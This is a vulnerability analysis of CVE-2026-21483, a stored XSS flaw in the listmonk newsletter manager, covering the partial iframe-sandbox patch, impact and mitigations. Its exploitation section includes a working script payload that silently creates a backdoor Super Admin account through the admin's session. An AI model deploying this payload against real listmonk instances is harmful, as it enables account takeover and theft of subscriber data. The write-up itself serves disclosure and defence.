A low-privilege user in listmonk can inject JavaScript into a campaign. When an admin views it, the script runs, silently creating a new admin account for the attacker. The fix patches the admin preview but explicitly leaves the public archive vector potentially vulnerable.
listmonk, a self-hosted newsletter manager, contains a classic Stored Cross-Site Scripting (XSS) vulnerability that allows a low-privileged user to achieve full administrative control. By embedding malicious JavaScript into a campaign or template, an attacker can execute code in a Super Admin's browser context. The vulnerability is made more severe by a 'no-click' attack vector through the public archive feature, where an admin simply visiting a link can trigger a full account takeover. The provided patch only partially addresses the issue, leaving a potential attack vector wide open.
In the world of self-hosted applications, listmonk stands out as a clean, efficient tool for managing mailing lists and newsletters. It's the digital post office for countless organizations. But like any post office, it handles packages from many different people. The fundamental security model relies on trusting that the mail sorters (low-privilege users) won't slip a bomb into an envelope addressed to the postmaster (the Super Admin).
This is precisely where the trust model breaks down. The application grants certain users the ability to create and edit email campaigns and templates. This is a powerful feature, allowing teams to collaborate on marketing materials. However, power, when unchecked, is a liability. An attacker with these permissions isn't just a content creator; they're a potential threat actor with a direct line to the most privileged users on the system.
The juiciest target in any application is the one with all the keys: the administrator. In listmonk, a successful attack against an admin doesn't just compromise one user; it compromises the entire platform, including its most valuable asset—the subscriber list.
The vulnerability at the heart of CVE-2026-21483 is a textbook Stored Cross-Site Scripting (XSS) flaw. The server is like an overly trusting friend: an attacker gives it a malicious piece of JavaScript, and the server says, "Sure, I'll hold onto this for you!" It then dutifully stores this malicious code in its database, right alongside legitimate campaign content.
Later, when a Super Admin comes along to review the campaign, the server says, "Here's that content you asked for!" and serves the malicious script directly to the admin's browser. The browser, seeing a <script> tag, does what it's designed to do: it executes the code. Because this code is running on the listmonk web page, it inherits all the powers of the logged-in admin. It can see what the admin sees, click what the admin can click, and make API requests as if it were the admin.
This attack is particularly insidious due to two distinct vectors. The first is the admin preview function—a direct, obvious path. The second, and far more dangerous, is the public archive feature. An attacker can craft a malicious campaign, publish it to the public archive, and then simply send the link to an admin. No preview click, no editing, just one visit to a seemingly harmless URL is enough to trigger the payload and compromise the entire system.
Digging into the fix, we find a perfect example of a targeted, yet incomplete, patch. The developers identified that the campaign preview was rendering user-supplied content inside an <iframe>. The original, vulnerable code looked something like this:
<iframe id="iframe" ... :src="previewURL" @load="onLoaded" />This is like inviting a stranger into your house and letting them roam free. The content inside this iframe runs with the full authority of the parent domain. Any script inside it can reach out and manipulate the admin UI, steal session tokens, or make authenticated API calls. It's a security nightmare waiting to happen.
The fix, committed in 74dc5a01cfbb12cf218cb33ddad8410c53e2e915, was a single attribute change:
<iframe id="iframe" ... :src="previewURL" @load="onLoaded" sandbox="allow-scripts" />The sandbox attribute is a powerful security feature. By adding it without the allow-same-origin token, the iframe's content is loaded into a unique, null origin. This means its scripts can run, but they are effectively jailed. They can't access the parent document's cookies, local storage, or DOM. It's a brilliant way to defang malicious content. However, the developer left a chilling note in the commit message:
"Although it cannot mitigate a lower ranking user with campaign/template permissions adding arbitrary scripts to templates that render in various places including the public archive page."
This is a neon sign flashing "INCOMPLETE FIX." They locked the front door (the admin preview) but openly admitted the back door (the public archive) might still be wide open. Any competent attacker reading this commit would know exactly where to look next.
So, how does an attacker turn this flaw into a full system compromise? It's deceptively simple.
Step 1: Gain Initial Access. The attacker obtains credentials for a low-privilege user with permissions to manage campaigns. This could be a disgruntled employee, a compromised account, or a user role that was configured too permissively.
Step 2: Craft the Payload. The attacker creates a new campaign. Instead of witty marketing copy, they embed a malicious script. This isn't your grandma's alert('XSS'). A real payload would be silent and effective, designed to create a new Super Admin account under the attacker's control:
<script>
fetch('/api/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
// The browser automatically includes the admin's session cookie
},
body: JSON.stringify({
email: 'evil-hacker@attacker.net',
password: 'AVeryStrongPassword123!',
name: 'Backdoor Admin',
user_role_id: 1 // Assuming 1 is the Super Admin role
})
});
</script>Step 3: Lure the Victim. The attacker saves the campaign and uses one of two methods to trigger it:
Step 4: Profit. The attacker now has their own Super Admin account. They can exfiltrate the entire subscriber list, send phishing emails from the trusted domain, or pivot to other systems. The original low-privilege account can be discarded, leaving minimal trace.
The impact of this vulnerability goes far beyond a simple website defacement. A successful exploit grants an attacker complete control over a critical communication platform. This isn't just about embarrassing pop-ups; it's about the weaponization of trust.
With Super Admin access, an attacker can launch devastating follow-on attacks. They can export the entire subscriber database, which is often a treasure trove of sensitive user information, perfect for phishing or spam campaigns. They can also use listmonk itself to send highly convincing phishing emails to all subscribers, leveraging the organization's reputation and domain to bypass spam filters.
Furthermore, the attacker can create persistent backdoors, modify application settings to disable security features, or use the server as a beachhead to launch attacks against other internal network resources. The seemingly minor flaw of unsanitized input escalates into a full-blown platform compromise, with potential for significant data loss, reputational damage, and financial harm.
The primary, non-negotiable step for mitigation is to upgrade to listmonk version 6.0.0 or later. This version contains the official fix and is the only surefire way to protect the admin preview component.
However, given the developer's own warning, defense-in-depth is crucial. Don't just trust the patch; verify your security posture. The most important lesson here is to never, ever trust user input. All content destined for rendering in a browser should be aggressively sanitized. For a Go application like listmonk, this means using a library like bluemonday with a strict whitelist policy that strips out all dangerous tags and attributes like <script>, onerror, and onload.
Implementing a strong Content Security Policy (CSP) is another critical layer of defense. A well-configured CSP can instruct the browser to block all inline scripts and only load scripts from trusted domains, effectively neutering most XSS attacks even if the application code is vulnerable. Finally, adhere to the principle of least privilege. Do all of your users really need permission to create and edit HTML campaigns? Review user roles and strip back permissions to the absolute minimum required.
[!WARNING] Remember the commit message! The patch for the admin preview does not guarantee the public archive is safe. After upgrading, security teams should actively test the public archive feature to ensure it either sanitizes content correctly or renders it within a properly configured sandbox. Trust, but verify.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
listmonk knadh | < 6.0.0 | 6.0.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CWE Name | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low (Campaign Management) |
| CVSS v4.0 Score | 5.4 (Medium) |
| Impact | Privilege Escalation to Super Admin, Account Takeover |
| Exploit Status | Proof-of-Concept |
| KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. This allows an attacker to inject malicious scripts into web pages viewed by other users, leading to code execution in the victim's browser.
Get the latest CVE analysis reports delivered to your inbox.